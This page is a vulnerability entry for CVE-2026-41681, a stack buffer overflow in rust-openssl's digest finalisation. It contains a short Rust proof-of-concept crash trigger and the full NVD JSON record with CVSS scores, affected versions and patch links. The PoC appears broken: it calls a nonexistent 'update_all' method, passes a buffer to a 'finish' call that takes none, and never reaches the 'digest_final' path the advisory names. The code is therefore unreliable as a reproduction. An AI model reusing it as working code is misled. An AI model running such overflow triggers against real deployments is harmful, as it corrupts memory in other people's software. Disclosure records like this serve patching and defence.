CVE-2026-41681

// PoC for CVE-2026-41681: Stack Buffer Overflow in rust-openssl // This requires a vulnerable version of rust-openssl (0.10.39 - < 0.10.78) use openssl::hash::{Hasher, MessageDigest}; fn main() { // Initialize a hasher with SHA256 let mut hasher = Hasher::new(MessageDigest::sha256()).expect("Failed to create hasher"); hasher.update_all(b"test data"); // Allocate a buffer smaller than the SHA256 output size (32 bytes) // This triggers the write past the end of the buffer let mut small_buf = [0u8; 16]; println!("Triggering buffer overflow with small buffer..."); // In vulnerable versions, this overwrites the stack match hasher.finish(&mut small_buf) { Ok(_) => println!("Hash finished successfully (unexpected)"), Err(e) => println!("Error occurred: {:?}", e), } }

{"cve": {"id": "CVE-2026-41681", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:29.717", "lastModified": "2026-04-28T17:44:16.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "rust-openssl provides OpenSSL bindings for the Rust programming language. From 0.10.39 to before 0.10.78, EVP_DigestFinal() always writes EVP_MD_CTX_size(ctx) to the out buffer. If out is smaller than that, MdCtxRef::digest_final() writes past its end, usually corrupting the stack. This is reachable from safe Rust. This vulnerability is fixed in 0.10.78."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rust-openssl_project:rust-openssl:*:*:*:*:*:rust:*:*", "versionStartIncluding": "0.10.39", "versionEndExcluding": "0.10.78", "matchCriteriaId": "6027F7A1-EB1E-42B3-834F-7F0B93742F16"}]}]}], "references": [{"url": "https://github.com/rust-openssl/rust-openssl/commit/826c3888b77add418b394770e2b2e3a72d9f92fe", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rust-openssl/rust-openssl/pull/2608", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/rust-openssl/rust-openssl/releases/tag/openssl-v0.10.78", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rust-openssl/rust-openssl/security/advisories/GHSA-ghm9-cr32-g9qj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}